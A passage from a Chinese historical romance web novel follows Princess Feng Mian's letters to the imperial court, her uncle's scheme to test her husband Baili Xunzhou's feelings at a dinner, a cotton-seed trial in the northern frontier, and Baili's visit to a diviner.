殿外忽然响起一道尖利的通报声,一名内监大汗淋漓地冲入殿中,外头的大监听见是郡主的消息,根本拦也不拦,赶紧侧身让他进去。 内监冲到近前一个滑跪,将手中的信函双手高举过头顶,气尚未喘匀便抢先禀报:“郡主来信报平安!” 话一出口,他才重重喘了口气。都知道郡主的来信紧急,是以这一路分了三道人接力,他是最后的那一个,听说从北疆那边来传信的人一路不歇,三天一换,千叮咛万嘱咐,呈信时定要抢先报出平安,免得陛下还要先看信才能确认郡主的平安。 封眠在得知定北王上了请罪折子后,立即便派人马不停蹄地进京报平安。她还懊恼着,早知道瞒不住的话,就应先与定北王通个气才好。 怪她与定北王的交道打得少了,想当然了一些。毕竟寻常人遇见这种事,哪个不是先将消息捂住,观望几日事态发展再上奏,他倒耿直,刚得了消息就马不停蹄地写折子请罪。 褚景泽忙取了信递予嘉裕帝,嘉裕帝展信细看,面色稍霁:“小满无事,病已然好了!” 听闻此,褚景泽眼底也稍稍回温:“吉人自有天相……” 他话未说完,尚且跪着的褚景涟便立即接话道:“是啊父皇,那百里世子可是清平妹妹的‘解厄星’呢,有他陪在身边,清平妹妹定然是能逢凶化吉,健康平安的!” 她迫不及待想将命理之说再敲得实一些,没注意到太子兄长轻轻瞥向她的一眼。 她只想着,日后封眠再出点什么事,可别再怪到不该将封眠嫁去北疆上头了,活像都是她害的一样。 此话说得嘉裕帝心间甚慰,抬抬手让褚景涟起身了,继续细细看信,忍不住又念叨起来,“这孩子,离得远了,便不知好好照顾自己,是她自己非要留在疫病爆发之地不肯走,说是放心不下。” “那么多官员都是吃干饭的不成?看来是得派巡按御史再去走一遭了。” 嘉裕帝神色忽喜忽忧忽怒,心神完全被封眠信上所写牵着走,一面赞她临危不惧,心怀百姓,为舅解忧,一面嗔她不顾惜自己的身体,令舅担忧,对封眠的喜爱关切几乎快从言语间溢出来了。 见总算没有再被父皇迁怒的风险,褚景涟松了一口气,旋即又委屈巴巴地泛起酸来,总是这样,父皇心里就只有封眠,凡是在父皇面前对上封眠,她便从没赢过! 方才那点关切担忧,此刻早被抛到九霄云外。隔着万里之遥,她也与封眠较上了劲儿,兀自气恼着,就听那边太子兄长已然冰雪消融,声线转□□风化雨。 “父皇,小满此番受惊,定是吃了不少苦头。她自幼馋嘴,如今正值蟹肥菊黄,又临近仲秋团圆之节,不若现下便派人寻些菊蟹糕团送去?” “哼,就应馋着她,让她长长记性。”嘉裕帝嘴上如此说着,却还是扬声唤人进来,吩咐道:“去多挑几只上好的母蟹,佐蟹的黄酒、姜醋也一并配齐了再送去……” 螃蟹是寒凉之物,他一面想让封眠吃得好,一面又担忧她贪嘴伤神,得将解寒的一应食材也要张罗着配齐才放心。 “父皇,此时便交给儿臣来办吧。”褚景泽走到殿中,躬身请命。 嘉裕帝失笑:“你堂堂太子,去张罗这些吃食节礼,岂不是大材小用了吗。” 褚景泽唇角微扬,语声温润却坚定,“小满的事,从来都不是小事。” 嘉裕帝乐见他们兄妹情深,点头应允了。 一旁的褚景涟默默咬唇,她也想吃螃蟹呢,怎么没有人看看她呢?但她此时敏感地不敢多言,决定回去找母妃哭诉。 螃蟹而已,她定比封眠先吃上! 东宫坐落于皇宫东南一隅,飞檐斗拱、玉阶金瓦。一身锦袍的褚景泽甫一踏入殿门,周身温和气度便骤然敛去,冷脸询问身侧的内侍,“清平郡主可有给太子妃来信?” 内侍忙躬身奉上一封书札:“回殿下,确有。此为奴才誊录的副本,请殿下过目。” 褚景泽接过信,一目十行地看了。信中是封眠一贯清秀的字迹,竟是请托太子妃代为寻几位清流儒生,在朝野间为定北王父子,尤其是世子殿下,多作美言。字里行间皆透着她的忧切,盛京本就对世子流言颇多,如今疫病爆发,传到盛京也不知会被百姓传成什么样的罗刹。 “呵……”褚景泽气笑了,指节捏得信笺微响,“都将自己折腾成什么样子了,还满心满眼地惦记着别人。” 内侍听声便知太子心绪不佳,心下惴惴,赶忙又呈上另一封信,“殿下,这是清平郡主寄给您的信。” “难为她还记得起孤这个兄长。”褚景泽脸色稍霁,拿过信见其厚厚一沓,眉眼间甚至带上了一点笑意,高高兴兴地展开信看了。 不出片刻,他眉峰再度蹙紧,脸色又沉了下去,信上竟给他安排了活计,请他帮忙周旋,往北疆调任几名实用爱民的官员,又向他索要书册,想在北疆建书馆,厚厚的那几页信纸上写的尽是书名。 合着她这是给所有人都派了差事,唯独呈给父皇的信中只字未提这些,只报了平安。她自是深知陛下更牵挂她身体,若见她在信中为旁人求情筹谋,定然不悦。 可她怎不想想,难道他便不会生气吗? 褚景泽气得要死,一张俊颜冷如冰霜,指掌一收,将那信纸揉作一团,气冲冲走了两步,又生生止住,胸膛微微起伏,终是憋着一口气折返。 他声线淬冰,吩咐道:“去吏部。” * “姓封的果然不是……”百里浔舟话音顿住,想起封眠同样也姓封,不好将她一起骂进去了,遂直接点名道姓,“那封辞偃当真不是什么好人,说话难听我便忍了,他不知什么是夫妻的私人空间吗?” 疾羽营内,百里浔舟才理了半刻军务,便烦躁地揉着眉心,对着身旁的姚知远抱怨起来。 那日封辞偃被封眠劝了下来,答应她不会贸然行事,本打算将封辞偃的身份瞒着定北王和王妃,让封辞偃跟顾春温他们住到驿站去,孰料刚出院门就碰见了定北王,而定北王时隔十一年,一眼就认出了封辞偃,惊喜地拉着人叙旧。 两人一对上话,当年的误会便就这么解开了,定北王确实收到了另一道军令,以为与封辞胥的计划被取消,这才没能支援。 恩仇相泯,定北王怜封辞偃与封眠叔侄二人分别日久,热情留封辞偃在府上住下,对外便说封辞偃是他的忘年交。 于是封辞偃开始日日与封眠同进同出,事事都要挤在他与封眠之间,有时夜里还要来敲门问封眠“寝否?”,拉着人看星星看月亮忆往昔。 时不时还要给百里浔舟“立规矩”,谁家小叔叔做成封辞偃这“恶婆婆”模样? 姚知远摇着折扇,闻言挑眉,眼底掠过一丝了然的笑意。他慢悠悠道:“世子这般抱怨,听起来……倒像是不打算同郡主和离了?” 百里浔舟像是彻底跟以前的自己割席了一般,瞪向姚知远:“和离?谁要和离?你吗?” 姚知远:……?他跟谁离啊!他连夫人都没有! 本想好心开解一番百里浔舟,现下姚知远只觉得一口气堵在胸口,决定今日不再同他多说半个字。 第79章 怎么能和…… “他竟还敢与你和离?” 马车上,封辞偃一袭墨色常服,斜倚在窗边,眉峰轻蹙,颇为不满。这几日他与封眠培养了几日的叔侄感情,终于撬开了一点少女心事,得知大婚日两人便曾商量着和离之事,当下只觉得一股火直冲头顶,恨不得立刻将百里浔舟那小子倒吊起来狠狠教训一顿。 “只是最开始时想要和离,还并未和离呢。”封眠纠正道,小叔叔这说辞,好似她二人已经正式和离了一般。 “想也不行,想也有罪。”封辞偃全然不讲道理,自家侄女样貌好、家世好、脾气好,有钱有权有民心,多少人几辈子都求不来这样一位夫人,百里那臭小子倒好,大婚当日便与人提和离?也就是封眠心性豁达,若是换个心思敏感细腻的小娘子,怕是隔日便要寻短见了。 他兀自气恼一阵,忽地凝目看向封眠,“怎么,他如今又改了主意,不想与你和离了?” 封眠眼神飘忽了一瞬,颊侧染上点点红晕,与年纪相近的长辈谈起自己的感情,让她有些羞赧,却仍是诚实地低声道:“不知道,他并未直言,只是,只是我观他言行,自己胡乱猜的。” 若他还一心想着和离,何必在她身陷险境时,不顾自身安危也要陪在她身侧呢?如果说只是因为二人尚顶着夫妻的名头,他要尽为夫的职责,那么易地而处,她可不会为了没有丝毫感情的丈夫,而让自己涉险。 脸颊微微一痛,封辞偃不大高兴地捏住了她的脸颊肉,谆谆教诲:“男人最会做戏,几分真情几分假意,岂是那么容易看透的?读没读过《氓》?‘信誓旦旦,不思其反’,男子最会巧言令色、海誓山盟,待时过境迁,便不复当初了。你年纪小,见过的人也少,被骗了都没地方哭!” 封眠也不大高兴地瞧他,她能哭的地方可多了,不说北疆有那么大一座郡主府,舅舅还在宫里给她留着暑月殿呢。 但这话不好说出口,小叔叔心眼小,又讨厌极了褚家人,听了必然要生气的,于是眼珠一转,丢了个问题回去:“喔,那这么说,小叔叔你的话也不能信咯?我父亲当年也是这般吗?” “我……”封辞偃一时语塞,皱着眉反驳,“百里那臭小子怎么能和你父亲相提并论?” “阿兄可从未与嫂嫂提过什么和离。泰安十年,北疆再生乱象,先帝召年轻将领们入宫,我阿兄便在其列。那次入宫,他对你母亲一见钟情,便舍了命去搏军功,用了四年获封镇国大将军,才向先帝求来这门婚事。” “大婚当日,他立誓此生不纳二色,与你母亲一生一世一双人。” “若非……”他话音顿了顿,眼底掠过一丝复杂痛色。“若非……陛下将他急派远征,你母亲生产时,他怎会不在身旁?陛下倒好意思以此为由责难阿兄,还将你也扣在宫中……” 目光触及封眠微微出神的脸庞,封辞偃终究是没有继续说下去,他是厌恶嘉裕帝,厌恶褚家人,但也无法否认他们亦是封眠的血亲,更是陪伴她长大的人。没有必要让她在其中做选择。 她只需平安喜乐就好。 “百里浔舟若做不到我阿兄那般,可没资格娶你。”他语气斩钉截铁,忽又意识到两人都已经大婚了,又生硬改口:“没资格与你共度余生。” 那是自然的,封眠在心里猛猛点头,她不养面首,夫君自然也不能蓄姬妾,只是…… “你我在这里空谈也无用,又不知他心中是如何想的,若他仍想与我和离呢?” 听封眠这般说,封辞偃心下明了,这丫头怕是已对那小子上了心。他暗自咬牙,忍不住又在心中将百里臭小子翻来覆去揍了一顿,决心绝不能让他太轻易得逞。 “那还不简单。”封辞偃唇角勾起一抹略带狡黠的弧度,冲封眠勾了勾手指。封眠附耳过去,听他在自己耳边细细絮语,眼眸倏地睁圆。 马车在王府门前缓缓停下,封眠尚在思索方才封辞偃与她说的种种,晕乎乎地刚踏下车辕,忽地一道人影高喊着冲至面前,张开双臂就要抱过来。 “小表妹!你还活着真是太好了!”褚景淇亲眼瞧见封眠完完整整健健康康地从马车上走下来,眼含热泪,情绪激动。 咔嚓,就在褚景淇即将要抱住封眠时,两只手同时精准地握住了他的手臂,不容置疑地将他从封眠身前拉开。 褚景淇渐渐明朗的视野中出现一张有些眼熟的面容,他眨巴眨巴眼,回忆了半晌,“你是……你是那个傅……” 封辞偃皮笑肉不笑地松开桎梏着褚景淇手臂的双手,提醒:“傅辞偃。” 想起来了,在黑石沟见过。褚景淇胡乱地点点头,目光却在封辞偃和身后的马车上打转,方才这人是从小表妹的马车上下来的吧? 他一直等在王府门口,清清楚楚地瞧见流萤和雾柳都在马车外头,也就是说,这一路上,马车里只有小表妹和这位傅公子两人? 这似曾相识的一幕……褚景淇想起上次自己误会小表妹与隔壁元公子的乌龙,决定谨慎一些,问道:“傅公子怎么与我小表妹同乘一车?是有要事相商?” “与你何干?”封辞偃对褚家人人没半点好脸色,丢下这句话便径直越过他。 褚景淇被他这态度噎得一怔,随即更为震惊地看着他大摇大摆地走入王府,又惊讶地张大了嘴巴,“他、他这就进去了?” “王爷与傅公子一见如故,结为忘年交,便邀他在王府小住。”封眠拿出一早便商量好的说辞来搪塞褚景淇,边与他往里走边问,“舅母许你出来乱跑了?” 秦王妃一听说白水县闹出了疫病,便立即派人去将不肯走的褚景淇抓了回去,严令他不许再出门乱跑。因秦王妃也为封眠调度筹措物资,褚景淇便也没再闹腾,老老实实在王府里等消息。 直到听闻封眠平安、疫情也已受控,他便急着想去探望,可秦王妃仍不放心,又硬扣了他几日。待外头风波彻底平息,才终于点头放行。 “你没生我气吧?”褚景淇凑近了些,小心翼翼地偷瞧封眠的脸色。 封眠好笑:“在九哥心里,我就是那么小气的人啊?那我可真要生气了。” “哪里哪里!”褚景淇连忙摆手,“小表妹是我认识的姑娘中,最大度最聪慧最不同寻常的!” “弥荼圣女也包括在内吗?” “她……她自然要另论的。”提起弥荼,,褚景淇耳根微热,不好意思地挠了挠头,随即又兴奋起来,“对了,母妃同意了,她说只要我能凭自己的本事让弥荼答应与我成婚,她绝对不拦着。” 其实秦王妃原话是“你能追得上再说吧”,语气里全是对儿子满满的不信任。 “那你……”封眠话未说完,就见他眼巴巴地望着自己,“怎么了?” “你还有没有什么类似互市那样的热闹事,可以邀请弥荼来玩的?” 封眠遗憾摇头,褚景淇略有些失望,但很快重振旗鼓:“无妨,我的法子多的是!” 话音随着他踏入藏弓院,看见某个施施然躺在院中躺椅上的身影时戛然而止。这位傅公子就算是定北王的忘年交,也不好在百里不在家的时候,这么堂而皇之地躺在人家夫妻俩的院子里吧? 此人还有没有一点身为成年男客的自觉了? 褚景淇抱臂踱到躺椅旁,俯身盯着那张懒洋洋的脸:“傅公子,世子殿下不 在,你这般……不太好吧?” “光天化日,众目睽睽,有何不妥?”封辞偃懒懒地睁开一只眼瞥他,“心脏的人,才瞧什么都脏。” 说罢还不耐烦地挥挥手,“劳驾让让,你挡着我晒太阳了。” 褚景淇险些被气个倒仰。 正在此时,一道劲瘦身影无声步入院中。轻衣垂首:“世子妃在吗?” 封眠刚更衣出来,见是轻衣,心头不由一紧。轻衣身手极佳,行踪莫测,性子又极稳,平日唯有传递紧要军报时才会现身。 她顿时提起了心:“怎么了?出了什么事?” 轻衣言简意赅:“世子殿下说今晚会早些回来,接您去凤阳楼用晚膳。” “就为这事?” 轻衣一点头,待封眠应了声“知道了”,便如来时一般悄无声息地离去。 景淇顿时得意起来,抱臂斜睨着躺椅上的人:等着吧,本侯的正牌妹夫马上就要回来收拾你了! 却见方才还懒洋洋的封辞偃忽然坐起身来,正色道:“今日是不是该去成大人处瞧一瞧种子了?” 离开白水县后,封眠便将互市上得来的珍贵种子交予了成立虚,并还好它们一直被单独存放在地窖里,不必因疫病的原因而被销毁,否则封眠真是要心疼坏了。 成立虚自那之后便带着人在封眠特意准备的庄园住下了,日夜钻研试种,封眠每隔两三日便会去查看进展。 眼下确实又该去了,只是晚膳…… 封辞偃挑眉看她:“还记得我说过什么吗?” 封眠犹豫一瞬,终是点头:“好。” 褚景淇:???什么情况? 太阳刚刚向西倾斜寸许,便迫不及待地回到了藏弓院。他惦记着要与封眠一道用晚膳,头次从疾羽营早退,结果一踏进院子便顿住了脚步。 院中空荡荡的,不像是有人在的样子,正迟疑着,一道人影从侧边廊下呜呜哇哇地扑了过来。 褚景淇:“小百里!你可算是回来了!” “出什么事了?”百里浔舟心下一沉,唯恐封眠有事。 褚景淇愤怒又委屈地将封眠被傅辞偃带走的事添油加醋说了一遍:“我发誓!他绝对是听见你要回来用晚膳,才带着小表妹出门的!他还不许我跟着!说他们要做正事,我跟去也没有用处!这个傅辞偃,当真是太过分了!” 他用力拍拍百里浔舟的肩:“小百里,你可要振作起来啊!顾春温和陆鸣竹便罢了,这不知道哪儿冒出来的傅公子,也敢在你面前摆谱?!” 百里浔舟:“……” 别说了,心里苦。 第80章 庄园内,最后一间培育房的棉帘被掀开,成立虚引着封眠走了出来,神色略有些疲惫,但仍提着精神与她汇报。 “郡主,下官等依据陆大人笔记所载,已将种子分作三批,试以不同深浅、间距与底肥之法种下。”他搓了搓手,面露难色,“眼下外间天气愈发热了,白叠子适宜生长于地气温煦的时节,在室内我们倒是可以用一些手段来控温,只是百姓们若是要种植的话,就须等到来年四月了。” 封眠颔首,又问:“若由几位司农来种白叠子,冬日前,约莫能育成多少株?” 成立虚沉吟片刻,答得谨慎:“回郡主,眼下还不好断言。首批试种的两百粒种子,约只有一半破土发芽。后续还需不断调整水土光照,再看剩余三百粒能出芽多少。农事一道,七分在天,三分在人,强求不得。” “无妨,只有一半也差不多了。那种子商还会陆续送来更多白叠子种子。送来多少,你们便种多少。凡是长成的,都莫要浪费,需得留种。” “下官遵命。”成立虚应下,实在按捺不住好奇心,问道:“郡主对此物似是极为看重,可是极其喜爱白叠子所开的花?” 封眠愣了一下,旋即想起种子商确是将白叠子归类为奇花异草,她唇角弯起一抹神秘的弧度,轻声道:“白叠子所开之花自是殊异于其他花草的,不过它最神奇之处并不只在于此。” “我曾于一本古籍上瞧见过,将白叠子雪白柔软的花絮采摘下来,晒干后脱籽、弹棉,可以絮入衣裳被褥之中,轻盈保暖,胜丝麻十倍。” “若此法能成,日后北疆人人皆能穿上絮满白叠子的冬衣,盖一床厚实暖和的被子,或许寒冬腊月,路边便能少些冻死骨。” 成立虚听得心神剧震,眼中骤然迸发出灼热的光彩。若白叠子真能有此奇效,那将是功在当代、利在千秋之举!他作为亲手培育此物的司农之一,岂不是也有机会青史留名了? 他心潮澎湃地想着,下意识想与身旁的好友顾春温分享此时心间的喜悦,却猛地撞见对方正望着郡主,眼底含着温润的笑意,目光一闪不闪地注目着。 成立虚:“……” 他蓬勃跳动的心脏霎时被吓得漏跳了一拍,顾兄这眼神……可算不得清白啊! 成立虚陷入自己仿佛发现了巨大秘密的惊天震撼之中,就听缀在最后头的封辞偃问道:“天色不早了。成大人,顾大人,可曾用过晚膳?不如一道去凤阳楼小酌几杯、也算慰劳诸位连日辛劳。” 封眠亦含笑点头:“正是,诸位大人这些时日都辛苦了,今日便由我做东,请大家去凤阳楼散散心。” 成立虚愣愣接话:“哦,我还没……”他下意识看向顾春温,“顾兄你……” “巧了,我也未曾用过。”顾春温神色自若,唇边笑意温雅,“既蒙郡主盛情,那下官便却之不恭,正好腹中有些饥饿了。” 成立虚瞳仁震颤,是谁下午时摸着肚子说茶点吃得撑了,晚间定然吃不下任何东西?自己说请他去吃新开的烧鹅铺子,他都推说饱腹不肯去,怎么如今郡主做东,便腹中饥饿了?这可才过去一个时辰!平日也不见你饿得这么快呢! 完了完了,顾兄这心思好像真的不清白啊! 自此后,成立虚便像是打开了新世界的大门一样,一路上总忍不住拿眼去觑顾春温,看得自己心惊胆战。在无人注意的角落里,他分明瞧见顾春温的视线总若有似无地萦绕在郡主周身,关切着她是否被风吹着、是否踩到石子,只是在郡主回望时,又总是恰到好处地自然移开,分寸拿捏得滴水不漏。 顾春温发觉他的视线,无奈侧首低声问他:“你总瞧我做什么?我脸上是有金子还是刻了字?” 成立虚讪讪一笑,扭过头去。不,我是在瞧瞧你究竟生了几个胆子,竟敢对世子妃生出别样的心思。 待得一行人入了凤阳楼,眼瞅着顾春温极其自然地伴在封眠身侧,温声细语地为她介绍楼中招牌菜色,甚至问及她的忌口与偏好,细致到了极致,成立虚面上已是一片麻木。 不必再问,无需向本人确认了,他可以断定,自己这位胆大包天的好友,确确实实对那位身份尊贵、已为人妇的郡主,存了份不该有的心思。 顾春温此人看着温润好相处,有他在的场合总能圆融周到,不让任何一句话冷场落地,但他骨子里何尝是这般殷勤主动、甚至会抢着与人攀谈的性子? 成立虚不由想起郡主出嫁那日,顾春温一进茶楼便独自靠着窗边坐下,目不转睛地盯着楼下长街。待到郡主的鸾驾仪仗迤逦而来,他更是沉默不语,对周遭的谈笑恍若未闻。 当时自己还多嘴凑过去问几时能喝到顾兄的喜酒,顾兄说他的心上人已有婚约在身,怕是那时他口中说的心上人,便就是郡主了。 真是奇了怪了,他究竟是什么时候见过郡主的 他脑海中瞬间闪过百里世子那些杀伐决断、冷戾凶煞的传闻,顿时觉得后颈一凉,忍不住四下张望起来,生怕那尊煞神会从哪个角落里突然现身,将他这好友生吞活剥了。 “小百里,我是不是眼花了,怎么好像瞧见小表妹了?” 二楼雅间,褚景淇一手撩开垂挂的竹帘,探出半个脑袋,揉了揉眼睛,一脸难以置信地扯了扯身旁人的衣袖。 百里浔舟早早订好了席面,想着不吃也是浪费,便干脆和褚景淇一道过来。闻言,他目光随意往楼下一扫,便恰好瞧见封眠一行人踏入凤阳楼。而与她并肩而行、言笑晏晏的,正是顾春温。 “咔嚓”一声轻响,他手中那双乌木筷子应声而断。 坐在对面的褚景淇手一抖,竹帘再次垂落,遮住了楼下的画面。 既然要来凤阳楼,怎么不来找他呢?百里浔舟心底蓦地窜起一股小火苗,夹杂着难以言喻的涩意,烧得他心口发闷。他猛地站起身,几乎要立刻下楼去。 可脚步却在门槛前顿住。最终他深吸一口气,又重重坐了回去。 褚景淇看得着急:“你不过去看看?就这么干坐着?” 他可是瞧得真真的,那姓傅的就亦步亦趋地跟着小表妹后头,司马昭之心已是昭然若揭! 百里浔舟眸色深深,无意识地给自己换了双筷子,声音闷闷不乐:“罢了,那么多人在呢,我此刻贸贸然冲过去,再让她尴尬就不好了。” 一个顾春温而已,况且小叔叔也还在呢……想到封辞偃,他的嘴角不由向下一撇,这“恶婆婆”横竖看他不顺眼,不会憋着什么坏呢吧? 他顿了顿,像是自我安慰,又像是说给褚景淇听,“无妨,晚上……晚上回去再问也不迟。” 话虽如此,这一餐饭,他却是食不知味。 执箸的手悬在桌上,顿了好一会儿,视线犹疑地飘向紧闭的门扉,也不知他刚才看见没有?封眠心不在焉地想着。 方才进门时,她从二楼被掀起的竹帘缝隙间,瞥见了百里浔舟倚栏而坐的身影,下意识便想抬首打个招呼。身后跟着的封辞偃轻轻咳了两声,她才克制着垂眸敛目,装作未曾看见。 方才引路的店小二格外热络地与她说世子就在二楼的雅间,差点就把他们引过去了,被封辞偃两句话囫囵了过去。可掌柜的一定也会告诉他吧?明知他就在此处,明知他特意让轻衣来约了自己,现下不与他一道用膳便罢了,甚至连声问候也没有,他会怎么想呢? “嗒”一声轻响,是杯盏落桌的清音。 封辞偃轻声唤回她飘远的神思:“郡主,汤要凉了。” 封眠端过他递来的热汤,哀怨地瞟他一眼,低语道:“非要如此吗?” 封辞偃眉梢微挑,唇角似笑非笑:“试一试他罢了。这便心疼了?” 封眠抿唇,小声嘟囔着:“你别总是想坏主意欺负他。” 话说完,她又觉得自己怪得很没道理,分明她自己也同意了,并成为了其中最重要的“帮凶”。 封辞偃心下摇头,小丫头简直和她爹娘一样,心尖尖上装了谁,胳膊肘便毫不犹豫地拐向谁。他终是妥协道:“行,今日便只欺他这一回。这下总能安心用饭了吧?” 封眠这才拿起汤匙,舀了一口汤。 右手边的顾春温将盛着剔好骨的鸡肉的小碟子轻轻推了过来,温声道:“这是凤阳楼的招牌,用老汤煨了十二个时辰,郡主尝尝看。” 坐在对面的成立虚瞧一瞧左边的封辞偃,再瞧一瞧右边的顾春温,感觉自己误入了什么了不得的现场,幸好此时桌上不止他一个外人,与他同行的其他四名司农也正在大快朵颐。 他默默用鸡腿堵住了自己的嘴,觉得自己都有些同情世子殿下了。 “世子殿下。”掌柜热情地拦住下楼的百里浔舟,“您和世子妃用膳可愉快?咱是北疆的老字号了,也不知道这菜品合不合世子妃的胃口?” 百里浔舟:“……” 跟在他身后下楼的褚景淇:“……” 探头探脑往百里浔舟身后瞧的掌柜:“世子妃殿下呢?怎么没与世子一起……哎呀你老拽我干什么?” 掌柜气呼呼地扭头,瞪向身后一直拽他衣角的店小二。 店小二以手掩唇,用气音低低道:“世子殿下和世子妃不是一起来的……” “说什么呢?大点声!”掌柜愤怒蹙眉,“咱们开门做生意光明正大的,有什么事是世子殿下听不得的?” 店小二:“……” 心好累,掌柜的听不懂人话便罢了,情商怎么还这么低! 他正视死如归地打算大声再讲一遍,就听世子殿下清清冷冷地开口了:“世子妃不是与我一同来的。她尚要待客,掌柜的不如稍后直接问她吧。” 说罢,他便快步走了。 掌柜终于闭上了嘴巴,向店小二投去一个无助的目光:什么情况? 店小二摊手耸肩:他哪儿知道? 当晚,关于世子殿下是不是和世子妃吵架了的猜测,传遍了全城。百姓们显然还记得当初世子殿下抗婚的壮举,纷纷议论着他是不是还没放弃和离啊? 世子殿下本人则在更深夜阑,与封眠并肩躺在床上之际,终于问出了堵在心口一日的问题。 “只是与诸位司农一道用个便饭,商讨公事。”封眠的解释合情合理,“你知道的,他们正在试种的种子是很重要的,我总要多上些心。” 百里浔舟看着她清澈的眼眸,觉得有理,以往为了公事,她不是也常与顾春温、陆鸣竹一同出入吗?但那点失落却挥之不去。 他正想再说什么,却见封眠唇瓣微动,似乎想解释更多,最终却只是抿了抿嘴,将话咽了回去。 百里浔舟将这细微的迟疑看在眼里,心中悄然滋生几许疑窦。她想跟他说什么?需要这般犹豫辗转开不了口? 80-90 第81章 翌日,褚景淇火急火燎地冲进藏弓院,拦住了正要出院子的百里浔舟,脸上写满了急切,但开口前,他还是谨慎地环顾一翻。 “别看了,她今日出门比我还早。”百里浔舟一眼就知他在看什么,语气平静道。 褚景淇急忙追问:“怎么样怎么样?问清楚没有?可不能让那个姓傅的……或者别的什么人趁虚而入啊!” 百里浔舟忍了又忍,才将“那是封眠的小叔叔”这几个字硬生生咽了回去。 “问了,说是公事。” “好敷衍啊。”褚景淇大皱眉,他的好父亲秦王殿下每每也是这样敷衍母亲的,美其名曰避免无端的争吵,依他看,就是逃避罢了。 “她是真的有正事。”百里浔舟为封眠辩解道,听不得有人说她半点不好。 褚景淇没好气地白他一眼,转而自己也愁上心头,唉声叹气:“唉……弥荼回了苍狼部,这都多少时日了,也一封信都不曾寄给我。小百里,你说她是不是一回去,就被草原上的雄鹰和骏马迷了眼,把我给忘了?” 百里浔舟看他垂头丧气的模样,想着他虽然认错了情敌,却也是真心为自己着急的,投桃报李,理应帮他解决一点难题,遂道:“军中有传讯的信鸽,可以暂借你一用。” 正沮丧的褚景淇差点原地弹跳起来,猛地勾住了百里浔舟的脖颈往下一压,“好妹夫,九哥真是没看错你!” 百里浔舟一抖肩将他甩了下去,“好好走路。” 褚景淇也浑不在意,嘀嘀咕咕地思索起来:“我得选个良辰吉日寄信才好,你说信上写点什么呢?他们苍狼部的人应该都很直白吧?那我也不能太内敛了,文绉绉的,万一她看不懂怎么办?” 百里浔舟开始觉得他有些吵闹,加快了步子想要将他甩开,却被他追上来,一把拉住了胳膊往外拽:“走!我带你去个地方!” “去哪儿?”百里浔舟差点被他扯得一个踉跄,眉头紧蹙,“我不是游手好闲的无业游民。” “不会耽误你太久的。我保证,去一趟包你茅塞顿开!信心大增”褚景淇拍着胸脯,信誓旦旦。 半个时辰后。 一张色彩斑斓、表情诡异的傩面骤然在百里浔舟眼前放大,浓郁的香火气混杂着某种不知名的草药味扑面而来。 百里浔舟眉头紧锁,向后避了避,侧首看向鹌鹑似的缩在他身侧的褚景淇,语气难以置信:“这就是你说的……保管有用的法子?” 这是一间低矮的木屋,自屋顶房檐垂落无数道彩线编制的条状经幡,色彩浓烈,但屋内光线极暗,仅有数盏摇曳的蜡烛和中央一个燃烧的火盆照亮。 昏昧的光线映出 空气中漂浮的细小微尘,将四面墙壁上表情狰狞诡异的傩面更增添了几分神秘诡谲的气氛。 “非、非常之人,行非常之事嘛!”褚景淇躲避着身后不远处堆放着的龟甲兽骨,又期待又害怕地看着中央戴着傩面舞动着的卜者,声音却有点发颤,推着百里浔舟低声道“都说姻缘天定,有什么困惑,你便问问嘛!很灵的!” 百里浔舟一脸麻木,他自幼便不信鬼神之说,这种巫卜之地更是闻所未闻,见所未见,从进门起便几次想走,生生被褚景淇拽住了,现下仍想起身离开,但看着卜者郑重地取过一片牛骨,询问地看向他时,便硬生生定在了原地。 他喉结上下一动,紧张地咽了咽唾液,干涩地开口道:“请问,她对我心意如何?我要如何做,才能加深我们之间的缘分?” 卜者将牛骨置于火盆之上,口中念念有词。 火焰舔舐着牛骨,发出细微的噼啪声。屋内寂静无声,百里浔舟紧张得屏息。 “兆来了!” 卜者沙哑的声音突兀地响起,似男似女,呕哑嘲哳,惊得褚景淇打了个抖,他慌忙按住胸口,小心翼翼探问:“怎么说?卦象是吉是凶?” 卜者俯身,指尖仔细描摹着骨片上裂开的一道纹路,许久,他才用一种缥缈模糊、似是而非的语调缓缓开口: “风波不定,非缘浅,乃考验至。守得云开,自有月明。卧榻之侧,宜净宜新,挪箱柜于坤位,置清水于离方,红绳系角,良缘自近。” 言罢,他便忽地沉默地跪坐于火盆之前,仿佛刚才那几句话耗尽了他所有力气。 褚景淇听得云里雾里,努力消化着这玄之又玄的卜辞,扯了扯百里浔舟的袖子,小声道:“是不是说,你现在遇到的一切都是考验,坚持下去就有希望?” 百里浔舟眼睫微垂,瞧不出神色如何,只淡淡道:“神鬼玄说,听听便罢了。你还问吗?” “问,当然问!” 方才为百里浔舟占卜的卜者筋疲力竭地退了下去,换了名新的卜者替褚景淇占卜了寄信的吉时,他这才欢欢喜喜地与百里浔舟一道出了门。 踏出低矮逼仄的门,闻到僻静巷子里的清新空气,两人齐齐舒了一口气。 正准备沿着来时的路七拐八绕地离开,侧旁一扇木门忽然向内打开,里面匆匆走出一名幂篱遮面的妇人,猝不及防地与褚景淇撞了一下,幂篱垂下的轻纱飘起,露出折夫人清媚的面容。 她的目光与百里浔舟交错一瞬,旋即便慌张地扯回轻纱,将面容牢牢遮住,低低道了句“抱歉”,便脚步凌乱地匆匆离去,身影很快消失在巷子深处。 百里浔舟将已到唇边的“折夫人”三个字咽了回去。他望着那抹消失的背影,眉头微蹙,心中疑惑,她为何装作一副彼此不相识的陌生人模样? 转念一想,他自己也不愿让旁人知道他才求神占卜的事,或许折夫人也自有不可言说的秘密。 褚景淇揉了揉额角,嘀咕着:“刚刚卜辞还提醒我要注意安全,你瞧,一出门就灵验了!看来这封信我得……” “快走吧。”他拽上褚景淇大步离开,心里却在嘀咕,真有那么灵验吗? 夜色轻笼庭院,廊下灯烛在晚风中摇曳,将树影拉得细长。封眠闷闷不乐地推开寝间的门。 整整一日,她连百里浔舟的半句问候都没收到。听门房说,早上她走后,他便跟褚景淇出去了,晚膳时分回到府上,之后便在院子里没出去过。 他比她早回来那么久,竟也不派人问问她忙得如何了?可要回来用晚膳?天黑了竟也不催她回府,小叔叔都开始在她耳边说着“看来某人心意不坚”的风凉话了。 一股说不清是委屈还是气恼的情绪堵在心口,封眠脚步重重地踏入房内,正要兴师问罪,却蓦地怔在原地。 卧房内不说焕然一新,却也是大为变化,原本靠东放置的花梨木梳妆台与美人榻被挪开了,取而代之的是一对相依而立的青瓷瓶。厚重的箱柜尽数挪到了西南墙角,正南的窗下端端正正地摆了一坛子清水。最惹眼的,是床榻四角系上的细细红绳。 “你这是在……?”封眠满腹疑惑。 